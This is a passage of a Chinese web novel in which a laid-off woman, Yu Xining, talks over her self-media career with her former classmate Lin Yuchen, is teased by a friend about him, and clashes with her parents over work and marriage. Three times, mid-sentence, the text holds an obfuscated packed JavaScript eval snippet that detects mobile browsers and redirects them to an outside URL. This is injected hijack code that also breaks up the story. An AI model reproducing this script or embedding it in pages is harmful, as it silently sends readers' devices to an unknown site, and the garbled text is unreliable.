余希柠抓紧吃完剩下的寿司和烧鸟串,把外卖盒子收拾好丢到厨房垃圾桶里,又拧了块湿抹布擦干净餐桌。 做完这些,她看向站在落地窗前的林屿沉,颀长身形和落地窗外的景色互相映衬,好一幅赏心悦目的景象,真想偷拍下来。 “你跑哪去了?不是说去拿个快递吗?上非洲拿了?还不回来?” 一接通电话,季岱泽就连问好几个问题,乍一听像是有十万火急的事情离不开林屿沉一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243298|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “有事?” “下午不是要开会?等你主持啊。” “你主持就行了,我这边有事晚点再回去。” “拿快递还有什么事啊?” “私事,挂了。” 林屿沉结束通话,转过身,正好撞见余希柠拿起手机,似乎……正对着他。 余希柠也吓了一跳,像做坏事被抓包了一样。 “哦我准备点下午茶,你要吗?帮你也点一杯。”她随口胡编。 林屿沉收起手机走回餐桌前坐下,也没怀疑:“好。” “那你喝什么?” “和你一样。” 突然就多了个点下午茶的环节,也好,懒得把柜子里的茶具搬出来沏茶了。潮汕人的待客之道,最基本就是工夫茶,但余希柠是一个人住,就不爱摆出来。 “我刚毕业的时候,也是找了一份工作,额外还做了点投资,不多,跟在师兄们后面喝点汤。” 余希柠手支着下巴听林屿沉说起从前的事情,脑海里浮现一些画面,逐渐把那段空白的时期填满。 林屿沉没有很多工作经验,但他有一帮关系不错的挚交好友,创业是几个人合伙商量的,并不是盲目决定。 最初他们也不知道,这条路能不能走得通,得试了才知道。有时候往往就是这一步,迈出去了,可能性就在变高。 创业不是依托于一个人的力量,得有三观一致的伙伴一起,热血有,压力也有,都要一起扛一起面对。家人支持也同样至关重要,它很大程度决定了林屿沉能不能迈开犹豫的那一步。 “我父母是做生意的,虽然不是什么大生意,但投资有回报也有风险这点,他们还是懂的。有稳定的工作固然体面,也省心,但它未必就是最适合自己的那个选择。” 林屿沉和余希柠说了自己一开始在企业工作的内容和节奏,跟余希柠在外企大差不差。架构都是一样的,人际交往和工作模式也都差不多。 “按部就班,但也容易受限,想法也未必会被采纳,认真做事的人往往都不是最有话语权的那个。” 林屿沉靠着椅背,双手交握搭在膝盖上,瞥了余希柠一眼:“朋友鼓动,模式可行,就一起干了。还年轻,做什么都可以,人来这一世不就是千百种体验,创业也是。” 余希柠羡慕道:“想法真通透,你父母也很开明,我爸妈要是有你爸妈一半好说话就好了。” “你被裁的事叔叔阿姨知道吗?” 余希柠摇头。 “那你想创业?” 余希柠摇头,复又点头:“也不算创业,就是做自媒体。” 林屿沉知道了,他有关注余希柠的账号,最近刚发了一条非遗布马舞起源的视频,在几个平台的数据都很不错。 “这个赛道我不太了解,没法儿给你提供建设性意见。” “没事,我自己也还没想清楚。” 见余希柠面露难色,林屿沉主动道:“卡在哪个阶段?不知道怎么开始,还是说不知道怎么说服你父母?” 余希柠舔了下唇,茫然道:“都有。” 事实上,在这个阶段的自媒体赛道已经是非常饱和了。 余希柠依靠着前期做影视剪辑相关内容打下了一个良好的基础粉丝盘。现在又因为做非遗文化的内容,小红了一波,各平台粉丝量、关注和点赞转发数据都非常可观,比很多新人的起点都要高。 很多知名UP主在这个阶段都会选择,是一个人做账号,还是多个人一起经营,背靠大树好乘凉,签约机构有签约机构的好处,商务多,曝光大,还有专门账号数据维护。创作者可以只集中在做内容上面,无需去担心其他。但商人逐利,分成和自由度相对来说没那么高。 一个人做账号,需要身兼数职,作品产出数量有限,也没法做到非常专业地去分析数据反馈以及用户行为。付出跟收入很难成正比,这也是选择全职最该担心的一方面。 创作难免会有瓶颈期和低潮期,在这个过程还得兼顾□□拉新,因为保证账号有活跃度,才能有收益。这是一个完整的链条,真要执行起来光靠一个人,是远远不够的。 林屿沉了然:“听下来,你更倾向于自己做这个账号,但人手不够?” 余希柠:“对,虽然有很多机构发来邀约,给出的条件也很丰厚,但我还是想自己掌握账号主动权,免得以后有什么利益纠葛。但一个人做,像之前那些剧情剪辑我可以,可如果想要做精做细,我能力是不够的,说白了,我也是业余爱好非专业出身。” “我觉得可以一步一步来,不是非要一下就拉几个人来合伙做事。你最近发的这支视频我看了,动画是共创,但其他都是你自己做。你嘴上说非专业,能力不够,但我看到的都是好评和喜欢。数据是不会骗人的,那些点赞也不是刷上去的。” 林屿沉低头划动手机屏幕页面,早在余希柠分析自媒体赛道的时候,他就已经点开了她的账号,仔细浏览主页的视频内容。 从数据上,看得出来前期哪些是为爱发电,哪些是商单。更新时间也不算稳定,有时一个月三四个视频,有时一个月都没发过,再更新的数据明显就会比前面的差一些。 但近期这几条视频,数据反馈都很不错,证明这个垂类有固定受众且群体活跃。 “我知道有的自媒体创作者,其实背后就两三个人,一个负责拍摄,一个负责剪辑,一个负责内容,你现在是一个人干三份工,确实会累,但主动权都在自己身上,剪出来的东西是你想要的。” 余希柠重重点头:“你好懂我。” 这话一出,两人俱是一愣。 余希柠最先别开眼,不自然地清了下嗓子:“我的意思是,你嘴上说不了解这个赛道,但知道的还挺多。” 林屿沉似笑非笑地看着她,挑起眉毛:“这算是夸奖?” 空气中隐约有些暧昧和热意,惹得余希柠坐立不安,她忽然想到,林屿沉只是回来拿个快递,还要回去上班的。 可他们好像已经聊了很久,会不会…… 63. 撮合 “叮咚”一声门铃响,是点的奶茶外卖到了。 “我去拿。” 林屿沉离得近,起身开门接过袋子。 余希柠站在桌边,手指无措轻点桌面:“那个,聊着聊着忘了时间,你是不是还得回去上班啊?” 林屿沉拿出奶茶,把袋子放在地上,递给余希柠后无所谓道:“下午没什么事,不去也可以。” 余希柠啊了声,点点头,也对,林屿沉是老板,上班时间是自由的。 “刚才说到哪了?夸我懂你?”林屿沉喝了口奶茶,有点甜,但不讨厌:“继续。” “继续什么继续,就卡在这里了,发愁是不是要选这条路,选的话又该怎么走。还是说回去继续上班,可工作又找不到,活了大半辈子,两手空空什么都没握住。” 余希柠一股脑跟倒豆子似的发泄,把林屿沉都听愣住了。 原来刚刚只是礼貌客气的交流,现在才是对熟人袒露心声,林屿沉算是听出来了。 “你喜欢之前那份工作吗?” “一般,算不上讨厌,但已经到了倦怠期。” “你喜欢剪辑吗?” “当然。” “你喜欢现在这个非遗选题吗?” “当然!” 余希柠回答的音调比方才又重了几分。 “你想做它的原因是什么?” “当然是宣传我们潮汕传统文化,虽然听上去有些假大空,但我确实是这么想的。政府对布马舞的扶持力度有限,极具民族特色的非遗文化得不到传播和关注,就没法传承和保护下去。” “你对这个选题的规划清晰吗?” “嗯,想好了,就是内容需要时间,也不能一直闭门造车,有时间也得回去多拍些不一样的素材。” 连续的问话和回答让两人间的气氛短暂严肃起来,林屿沉动了下脖子,原本绷紧的下颌线有些许放松。 他拿起奶茶靠着椅子喝了一口,挑眉道:“不是很清晰了吗?有喜欢,有目的性,有规划,你其实已经做好了准备,就差一个人告诉你,可以继续往下走。” 余希柠猛地抬眸看向林屿沉,握着奶茶的手指微微收紧。 好像…… 的确是这样的。 “被裁员可能是坏消息,但也可以是好消息,因为从现在开始你要靠自己去做决定,你有多了一个新的选择。种子种下去了,总有一天会开花结果,不要害怕去做一件事,鹰击长空,鱼翔浅底,万类霜天竞自由。” 林屿沉拿起奶茶,主动碰了一下余希柠手里的杯子:“余希柠,酷一点,像你上学时候的样子。” 余希柠顿了顿,忽的笑了下。 眼眶有些热意,生怕被林屿沉发现,她垂眸忍着:“好,我会的。” “谢谢你的奶茶,很好喝。”林屿沉看了眼手机上的时间,站起身:“我该回公司了。” 余希柠也连忙起来:“今天谢谢你陪我聊了这么久。” 林屿沉:“你上次还欠我一顿饭,准备什么时候还?” 余希柠恍然道:“对哦,那等你什么时候有空就告诉我,我现在最不缺的就是时间了,随叫随到。” 林屿沉经过玄关,看了眼厨房,心下有了主意:“那就等我搬过来的时候,请我吃饭吧,你亲自下厨?” “那你什么时候搬过来?” 这话问完,余希柠自己都听出了一丝迫不及待,怕林屿沉误会,忙补充:“我得提前准备才行,这附近可不好买菜。” 林屿沉换好鞋子,看了她一眼:“下周五。” 余希柠点头:“好,我记住了。” 门关上,余希柠拿出手机备注了一下日程。 自从不上班,她对时间日期都不太敏感,起初有几天一觉醒来看见时间吓了一跳,匆匆忙忙下床洗漱才想起,她不用去上班,也就不赶时间不怕迟到。 再后来,工作日这个概念也没了,每天都像周末一样过着。 林屿沉的话很大程度上给了余希柠稳定的力量,想要尝试的心大过于放弃,试试吧,不试怎么知道不行呢。 “会变好的!” 她酣畅淋漓地喊了一声,只觉得浑身上下充满了干劲。 周末,宋乔过来余希柠家吃饭,见她状态还不错,稍微放心了些。 “对了,我刚来的时候见你隔壁门开着,新邻居要搬进来住了?” 宋乔还不知道余希柠的邻居是林屿沉。 余希柠忘了说,这会儿才想起,不如给宋乔制造个惊喜。 “是吗?他之前是跟我说周五搬,难道提前了?” 余希柠把洗好的碗放进消毒柜里,擦干手摘下围裙:“我过去看一眼,你要不要一起?” “嗯?跟新邻居关系处得这么好了?” 连搬家时间都说了,宋乔觉得很新奇。 两人打开门,先是探头张望了一下,林屿沉家的门是开着的,余希柠敲了敲门,结果走出来的是个做保洁的阿姨。 “您好,业主不在,我们是来做全屋保洁的。” “哦哦好,不好意思打扰了。” 宋乔扯了扯余希柠袖子,两人讪笑着后退。 回家把门关上后,宋乔松了松劲:“你这新邻居心很宽啊,一屋子的东西,叫了保洁也不知道来盯一下。” “我问问。” 余希柠也觉得不妥。 林屿沉信息回得很快:“路上有事耽误了,你帮我看一下。” 宋乔探头看了一下,瞥见备注的名字:“林屿沉?是我认识的那个林屿沉吗?” 余希柠忍着笑,点点头。 宋乔更糊涂了:“你邻居是林屿沉?不可能吧?有这么巧的事情?” “真的是他,我上次知道的时候也和你一样的反应,吓了一跳觉得不可思议。” 余希柠把大门打开,随时能看到人进出电梯口,关键人屋里在打扫卫生,进去也不好,万一弄脏了。要怎么帮看,她也想不到更好的办法。。 宋乔:“你之前就知道了也没跟我说,不够意思啊余希柠。” “我是真忘了,那会忙着剪片,扭头就忘。别生气别生气。” 余希柠挽着宋乔的手哄她,宋乔打量着她的神色,压低声问:“你俩有没有发展点不一样的关系?” “当然没,不是你想的那样,我住过来就见到他两次,如你所见,他也还没有正式搬过来。” 宋乔:“那他知道你……” “知道。” 话音刚落,电梯叮的一声响,林屿沉走了出来,身后还跟着一位年轻男士。 “你来了。”余希柠走到门口,指了下隔壁:“阿姨在打扫卫生也不方便在里面待着,我就把门打开多少能看到点动静。” 林屿沉:“谢谢。” “嗨老同学,好久不见。” 宋乔双手搭在余希柠肩上,下巴贴着手背探头打招呼。 “宋乔。”林屿沉想起还带了个人,介绍:“这是我的朋友季岱泽,也是我合伙人之一。” “你们好。”季岱泽从出电梯,见林屿沉跟余希柠打招呼,眼神就一直落在她身上,表情似笑非笑:“我说呢,怎么突然着急搬家,原来是隔壁住着老同学。” 林屿沉胳膊肘往后,给了季岱泽一拳以作警告。 宋乔看见了小动作,忍着笑:“我看保洁还在干活,你们进去了也是弄脏,不如进来喝茶,等结束了过去验收就行?” 说完,拍了拍余希柠肩膀:“对吧?” 余希柠:“对……” 林屿沉:“我先进去看一眼,交代一下。” 余希柠从柜子里取出茶具,煮水烫了一遍,宋乔主动揽过冲茶的任务,动作娴熟。 很快,林屿沉和季岱泽敲门进屋,余希柠不好意思道:“家里就一双男士拖鞋,要不你们别换了,就这么穿进来吧。” 说话间,林屿沉已经换上了那双唯一的男士拖鞋,跟在后面的季岱泽看了眼,了然偷笑。 “没事,那我不用穿鞋,我穿了袜子。” 余希柠没拦住,有些不好意思,心想得买多两双拖鞋了。 “来喝茶。”宋乔抬手招呼,看向林屿沉,“这么巧,还成了希柠的邻居,打算什么时候入宅啊?” “具体时日还没定,得回去找人算一下。” 余希柠表情疑惑:“你上次不是说,周五搬吗?” 林屿沉放下茶杯,嗯了声:“先把东西都搬过来,入宅是另外的时间。” 余希柠:“哦懂了。” 季岱泽嚷嚷道:“也不知道他在着什么急,之前还说等国庆再搬进来的,先晾一晾,结果突然说下周五要搬家。” “你管我?” 林屿沉瞪了他一眼。 季岱泽:“那你有本事别拉我过来帮忙,自己搬!” 宋乔算是听出来了,林屿沉这是临时决定要搬过来,指不定还跟余希柠有关。借着递茶的动作,她掀眸瞥了余希柠一眼,表情很不自然。 果然有猫腻! 宋乔又问:“潮汕人对入宅仪式还是挺讲究的,你爸妈到时候要来广州吗?” “嗯。”林屿沉看向余希柠,“你爸妈当时来了没?” “来了,不过我们仪式不是很复杂,算最简单的那种。每家可能情况不一样,我看有的邻居有烧有拜,还会在电梯口、楼栋大门那里贴红纸。” 余希柠也不是很懂这些,当初陈慧柔和余序洲说什么,她照做就是。 林屿沉:“嗯,我打算找个周末回去一趟,跟父母商量一下。如果他们要来,我就顺道把人接上来。” “刚刚听介绍,你是合伙人之一,你们公司现在规模多大啊?有几个合伙人?主要是做什么的?” 宋乔借着端茶的动作开启问问问模式,季岱泽性格很好,也是话痨,问什么就答什么,有时候还会说多一些无关紧要的。 例如自己是怎么跟林屿沉认识,后来一帮哥们又是怎么想到要创业。 很多连余希柠都是头一回听,下意识托着腮,津津有味。 “那你们兄弟几个都是单身吗?哦没有冒犯的意思。”宋乔微抿了下唇,抬起下巴指了指余希柠,故作认真道:“想给我们家希柠打听看看,物色一下有没有合适的。正好,林屿沉还是我们小学同学,可以帮忙鉴定一下可不可靠。” “你胡说八道什么呢。” 没料到话题突然扯到自己身上,余希柠耳根泛红,推了宋乔一把,“别听她瞎说。” “我可没瞎说,都是熟人,年龄相仿,这万一有合适的认识一下也不吃亏嘛。” 季岱泽若有所思地看了林屿沉一眼,迎合道:“哎呦小事,我还真有几个兄弟是单身,喏,眼前就有一个,巧了,你们还是小学同学有感情基础。我觉得就挺合适的。” “不合适。”余希柠打断道。 林屿沉拿茶杯的动作微微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15249906|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿住,他原本是要说季岱泽的,可下一秒就听见余希柠这句话,眼底闪过一丝黯然,快得让人难以捕捉到。 余希柠没察觉林屿沉的异样,心思已经被宋乔这话题给搅乱了:“你们刚创业,时间精力应该集中在事业上,别被其他分心影响了。” “关系不大吧?我们现在项目已经上正轨了,终身大事也很重要啊,得两手抓。” 季岱泽不理解余希柠的说法。 林屿沉放下茶杯,拦了下:“估计打扫得差不多了,我们过去看看。” “没这么快吧?” “那我自己过去。” 林屿沉站起身。 季岱泽脸上无语,但只能是跟着他起身,同时向余希柠和宋乔赔着笑:“待会再来喝茶。” 余希柠木然点头。 等把门关上,她旋即回身揪着宋乔埋怨:“你干什么哪壶不开提哪壶,要被你气死了。” “哎呀你急什么啊,我可是在帮你。”宋乔眼里带着笑意,嘴角也止不住上扬,“听没听那个季岱泽说,林屿沉现在是单身。” “我知道他是单身!” 余希柠气得跺脚,眉头都皱成川字了:“我没跟你说过吗?他大姨原本要给我们俩牵线,他拒绝了!理由就是说刚创业很忙,不想谈恋爱。” 宋乔“啊”了一声:“什么时候的事,我怎么没印象。” 余希柠在屋里急得团团转,就像那个表情包动图一样。一方面觉得这个话题很冒昧,另一方面也觉得自己方才的反应好像太过激烈,也不知道林屿沉会不会放在心上。 “那他不谈就不谈,季岱泽也说了,还有其他人选,我觉得是个机会。” 宋乔给自己冲了杯茶,好整以暇地看着余希柠:“只是我见你这反应,好像有点不太对劲。你不会还喜欢林屿沉吧?” “你还说!” 余希柠随手捞起沙发上的玩偶扔了过去。 宋乔赶紧挡住:“哎哎别恼羞成怒啊,待会砸碎了茶杯,隔壁还要回来的。” “你不准再说了!” 余希柠上前捂住宋乔的嘴,气呼呼地警告她。 宋乔举手投降,呜呜了两声,同意结束这个话题。 “说回你的自媒体计划,这段时间真就没投简历了吗?”宋乔今日过来,也是想问问余希柠接下来的打算,“我以为你想两条腿走路,边投边做视频,万一有不错的工作,还跟从前一样,一个主业一个副业。” “那样的话精力跟不上,忙起来副业也得让路。我想明白了,眼下账号数据很不错,兴许是个机会。” 宋乔行事风格相对保守,站在她的角度考虑,余希柠有房贷又是单身,经济压力会很大,有一份稳定的工作比较重要。来之前她还和陈遇商量过,要不要劝余希柠去考事业编,或者把重心放回到找工作上。 但陈遇的意思是,余希柠的账号确实运营得不错,指不定是个机会。如果她主观意愿强,就不要劝。 余希柠犯愁:“我下下周可能得回趟家。” 八月,余希柠计划是更新三条视频,一条是之前接的影视剧商单,两条是关于潮汕布马舞。 后两期视频与第一期的内容做了衔接,主要讲述布马舞如何从饶平走向国际,以及一些经典剧目。 年初在霞西村拍的素材已经用得七七八八,后来许小洁还给她发了不少经典剧目的表演视频,也都用上了。 按照原先策划的方向,余希柠后续是想做布马舞传承人的采访以及少儿布马舞的表演内容,需要亲自回饶平一趟,再拍一些内容做收尾。 回去,免不了要回家,回家就得跟家里人说清楚自己未来的规划,余希柠觉得,坦白局比拍摄剪片还要难。 “能想象到会有什么画面了,不过这个系列你现在出了两期,加上八月份的两期,还得回去拍新素材,会不会有点多?内容重复的话观众会不会厌倦?” 宋乔看其他博主都是一个系列不同内容,越是新鲜,点击量就越高。布马舞还是太小众了,在过年期间发布的之所以爆火,有一部分原因也是对上了节点营销。 “我大概明白你的意思了,其实原先策划的就是六期内容,每期3-5分钟的量。”余希柠一边喝茶一边思考,“那我把后面的内容争取两期内上完,换潮剧系列?” 宋乔:“我是这么想的,你可以问问你二次元的朋友,他们的建议可能会专业些。” “换潮剧我也得回去重拍……”余希柠叹了口气:“该来的总是要面对。” 宋乔:“学校放暑假了,要不你跟你表姐提前通个气?看到时候能不能让她帮忙打圆场。” “我想想吧,自家家事,老拉上我表姐也不太合适。” 陈慧柔之前每次和余希柠吵完架,都会给陈梓钰打电话,让陈梓钰帮着劝余希柠。 后来陈梓钰很委婉地跟余希柠表示过,这是她们母女之间的事,她作为外人也不好说什么。 言下之意就是不想掺和进来,她也有自己的家要照顾,实在没法反反复复当和事老。 主要是这个争吵的内容有点像月经帖,隔一段时间来一次,每次都是同样的原因,陈梓钰确实会烦。 余希柠手机响,是林屿沉发来的消息,说保洁已经干完活走了,他和季岱泽也有事要回公司,就不过来了。 余希柠回了个好字,耳根有些烫。 只要一想起季岱泽开玩笑撮合的画面,心跳就忍不住加快。 64. 刻板 晚上,余希柠就着宋乔说的点和圈内朋友聊了一下,在听取多方意见后决定修改原定期数和时长篇幅。 待视频剪完,她开始思考回家后如何和父母说自己打算做自媒体博主的事,谨慎到连话术都提前编辑发到手机上,生怕见了面聊起来一激动,有些观点说漏了,说服不了父母。 对于这场谈话,在真正发生之前,余希柠始终持有乐观的态度,她觉得现阶段自己在自媒体领域的成绩足以让父母相信,她可以做出这个选择。 也觉得父母的想法观点不会像在她刚毕业时那么局限,总会与时俱进些。 总之,平静地去对待这场谈话,只要自己的心足够坚定,内核足够强大,总会感染到父母。 余希柠买了张周五的车票回去,想着给自己留条退路,万一临了变成胆小鬼,还能改口说是请一天假,其余的再从长计议。 三个半小时的车程,抵达饶平是晚上七点钟,余希柠拉着行李箱走到站外,叫了辆车回家。 小区入夜很安静,余希柠提着行李箱上楼,正好碰见隔壁邻居准备下楼倒垃圾。 “阿姨好。” “哎?希柠?你怎么回来了。” 余希柠淡笑:“回来过个周末。” 余序洲饭后坐在客厅看电视,小区楼房隔音一般,他听到谈话声还以为自己听错了,开门探出头来,真见到余希柠还愣了一下。 “你,你怎么突然回来了?” “爸。”余希柠打开铁门,把行李箱推进去:“周五啊,我回来过周末。” 余序洲:“平白无故回来过周末?” 陈慧柔刚洗完澡,提着脏衣篓出来,见状惊呼:“哎!你怎么回来了?” 客厅里的气氛很诡异,关了电视,就只听见阳台洗衣机运转的声音。陈慧柔面油都没心思擦,端坐在沙发上看着余希柠。 “就只是回来拍摄?” 她还是有些怀疑。 反倒是余序洲,已经过了惊讶阶段,只是觉得余希柠有些不务正业了。 “难得周末可以休息,还专门为了拍片子跑回来,要我说专注主业工作就好,业余爱好差不多得了。” 余希柠:“你之前不是还夸我片子拍得不错嘛?态度这么快就变了?” 陈慧柔:“你爸说得对,长假回来拍拍也就算了,还专门请一天假回来,小心让领导知道了,饭碗不保。” 手心开始出汗,余希柠舔了下干燥的嘴唇。 陈慧柔察觉到一丝异样,拧眉:“不对,你有事瞒着我们。” 余希柠讪笑:“不愧是陈女士,观察力一流啊。” “发生什么事情了?” 陈慧柔身子往前探,嘴角往下撇,她一紧张就是这副表情,余希柠只得先让自己看上去轻松一些,缓和一下气氛。 “你先别紧张,听我说。” “你倒是说啊!” “我领大礼包了。”余希柠故作平静,实则心跳加速。 陈慧柔没听明白,还问了句什么大礼包,还是余序洲最先反应过来:“被裁员了?” 余希柠:“是。” 余序洲猛拍了下大腿,往后靠着椅子。 陈慧柔则觉得眼前天旋地转一阵晕,下一秒小腹一阵绞痛,指着余希柠半天说不出一句话,起身往洗手间跑。 “妈?没事吧。” 余希柠站起身,情绪直落千丈。 陈慧柔心理承受能力极差,每次有点风吹草动不是头晕就是肚子疼。之前吓得余希柠给她约了个体检,仔仔细细检查了一遍,没问题才放下心来。 就是心理反应过于敏感。 余序洲沉着声,问:“什么时候的事?” 余希柠老实回答:“有一个月了。” “一个月了你现在才说?”余序洲火气也是窜上来了,“这段时间干什么去了?拍片子?剪片子?我之前怎么叮嘱你的,现在大环境不好,就业形势严峻,找工作不容易,在单位要好好表现,你怎么还能被裁了。” 陈慧柔从洗手间出来,扶着墙,脸色苍白。 余希柠上前想要扶她,被推开。 陈慧柔想起来了:“难怪你突然要搬去新房,是不是那会就被裁了?我问你你还不肯说!” “你看看你现在这个反应,我当时就是怕你在电话里听完受什么刺激,怎么敢跟你说。” 余希柠懊恼不已,她最烦的就是陈慧柔这个心态,稍有什么闪失,等于是把她架在火上烤,像千古罪人。 余序洲气愤道:“我上次就跟你说,剪辑这个副业不要花费太多时间,不要顾此失彼,分不清主次。平时也不要总请假,不要到点就下班,要在领导面前好好表现,要做到别人无法取而代之,你总把我的话当耳旁风。” “哎呀你不要说这些马后炮的话了,事情都已经发生了。”陈慧柔嫌余序洲说的这些太过风凉话,“你,你工作找了吗?被裁了要赶紧投简历的啊!” “爸妈,你们先不要激动,冷静下来听我说。” 这样的场面,余希柠原先也是有料到的。 她猜到余序洲一定会先指责她工作态度不端正,以至于丢了饭碗。陈慧柔则是会催促抓紧时间找工作,要求不要太高,有份工打就行。 所以来之前她打了草稿,需让自己的规划听上去很靠谱,像反复思量推敲过的,而不是一时上头的决定。 “我是当事人,被裁我比谁都要难过,但事情已经发生了于事无补。大环境就是这么差,公司效益不好就需要调整人员架构,也不是只裁我一个人。之所以当时没跟你们说,一是觉得电话里说这个事,你们一时承受不了,我也兼顾不了你们。二是我自己也需要时间好好消化,我也会委屈啊,觉得为什么偏偏被裁的是我。” 陈慧柔看着余希柠,既生气又心疼。 之前总劝她读师范或者考公务员,有份稳定的工作,不需要每天提心吊胆担心被裁员,过来人的话就是不听,今日尝到苦果了! “起初我觉得很难熬,也找不到什么生活支点,怀疑自己,陷入绝望,觉得三十岁被裁这件事很丢人,觉得自己做人很失败。” 余希柠不断做着深呼吸,努力稳住声线:“但转念一想,也许是老天要给我一个新的机会。毕竟我也是拿了赔偿款的,就当这几个月是带薪休假,只要调整好状态,也可以再出发。” 陈慧柔:“所以我问你工作找了没有?一个月了,总不能还没找到一份工吧?” “爸、妈,你们知道的,这个社会对女性向来不公平,我这样的年纪,加上未婚未孕,很少公司会招我。招我的薪水可以用来雇两个更年轻的,人力精得很。” 余序洲反对这样的说法:“你这就是借口,能力要是高,企业怎么会不要。你就是以偏概全,故意找的说辞。” 余希柠委屈道:“我第一时间就改了简历,也找了朋友帮忙内推,自己在招聘软件上也沟通了几十个岗,可人家就是不理我啊!不信你们看。” 余希柠拿出手机,把招聘软件页面点开,递给陈慧柔和余序洲:“我甚至针对性做了几份不一样的简历,对照着岗位需求来投,可人家就是已读不回。兴许看了我的年龄,就已经把页面给关了。” 陈慧柔胸口堵得慌,头也疼得厉害,她推开手机,问:“就这一个软件吗?没有别的招聘渠道?要不我去找找你小舅,他人脉广,看能不能给你留意到什么工作机会。” “你觉得小舅会理你吗?别天真了妈妈,现在的就业环境,他们帮不了的。” 陈慧柔一副恨铁不成钢的样子:“你刚毕业时在外企的那份工多好,假期多,也不用总是加班,福利好薪水高,你偏偏要辞职去北京。后来让你继续找外企的工作你又不要,去互联网,现在还不是入错行。要不你问问之前的同事,看还有没有在招人,看他们能不能帮你内推之类的?” “妈,过去的事能不能不要再翻了,我不想找工作了,我想自己做自媒体。” 终于来到了正题上,余希柠说话都有了底气:“我这段时间接了两个商单,利润够我之前两个月工资。而且我做非遗的片子,各项数据都很好,很多经纪公司都想签我,真的,我可以给你们看聊天记录。” 怕余序洲和陈慧柔不相信,余希柠把账号后台点开给他们看,包括数据、私信内容和收入。 她简短介绍了一下现在的自媒体环境和平台政策,又把未来规划一条条说给余序洲和陈慧柔听,包括她正在做的选题内容,有多少粉丝都在关注,有固定的受众群体等等。 成绩摆在眼前,市场也有利好政策,万事俱备,只等她入场。 不对,准确来说,她现在已经入场。 “爸、妈,我想当一名全职自媒体创作者,不用再仰人鼻息,不用再担心被裁员。现在的环境,就算我找到了一份工作,也随时面临着被辞退的风险,与其这样,还不如把主动权牢牢掌握在自己手里。你们也看到了,它的收入其实很可观的,账号经营起来,也会有更多商单合作。” 说了这么多,余希柠觉得自己已经表达得很清楚了,她不是想当然,是真的有计划。 然而,她在陈慧柔脸上看不到一丝认可和放心。 “爸、妈,你们还觉得有什么不理解的,可以提出来,我今天就是想跟你们好好沟通,好好说一下我的想法规划。” “我不同意。” 陈慧柔这四个字宛若一盆冷水迎头浇下,浇灭了余希柠心底那股燃意,她苦笑:“为什么啊?不就是担心我没收入付不起房贷吗?我也给你们看了账号收益情况,完全能支持的。” “还是要找一份稳定的工作才行,你做自媒体我们不拦着,我和你爸认可你在这方面的天赋和能力,但并不代表它可以成为你的主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253438|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 业。” 陈慧柔骨子里是很传统的,她愿意去接触新事物,但不代表她完全认同。 “首先,你做自媒体,没有五险一金,每天宅在家里,缺乏与外界与人事物的沟通,职场环境是很锻炼人的。它可以教会你为人处世,也可以教你拓宽眼界见识。其次,你做自媒体,也不稳定,收入受流量影响,哪天你的内容别人不感兴趣了,你也没有商单。” 陈慧柔说到这,余序洲紧跟着补充:“对啊,每天躲在屋里闭门造车,别人问起在做什么工作,我们都不知道要怎么说。” 余希柠不解:“为什么不知道,就说做自媒体博主啊,现在很多这些全职UP主的。爸妈你们就是在小地方,见识少了些,这在大城市都很多。有些百万UP主赚一个月的钱是工薪阶层好几年的收入。” “那只是少数。”陈慧柔神情越来越严肃:“相亲的时候,别人都是要问,你家姑娘在做什么工作。我要是说你全职在家做视频,肯定都不要。你自己之前不也懂得说,不找工作不稳定的,万一两个人都失业,生活就没了保障。” 余希柠开始有些不耐烦:“怎么又绕回到相亲上来了,我要过什么日子,跟别人有什么关系,他们不要就不要啊,我为什么要迎合别人。” “怎么没关系,你快三十了,时间一年一年过得飞快,还想单到什么时候。上次你大舅妈给你介绍的对象,在广州当公务员有房有车,就是年纪大了点你就不要。” 陈慧柔一脸的失望,“我就是太惯着你了,什么都由着你来,背后被你两个舅舅不知道戳了多少次脊梁骨。但凡你之前答应,兴许现在都不用找工作,可以在家做你自己的喜好,男人出去赚钱。” “够了。”余希柠大喝一声,打断了陈慧柔的话,委屈和失望在这一瞬间爆发,取而代之的是嘲讽与讥笑:“原来你一点都没有变。” 余序洲:“你怎么跟你妈说话的?” 余希柠克制着自己的情绪:“我耐心和你们说我的职业规划,你们非要扯到婚姻上。什么叫年纪大了点,大十岁是一点吗?他都四十了!妈!我到底是不是你亲生的啊,就这么想把我推进火坑里是吗?三十是罪人吗?单身未婚是罪人吗?我的人生价值就得依附在男人身上才可以实现吗?我生来只是为了嫁人生子吗?” 身体里像起了一簇烈火,猎猎燃烧消耗着之前堆放在角落的枯枝。那是余希柠一度认为可以抛弃掉的传统争议话题,是她和陈慧柔观念上的摩擦与碰撞。 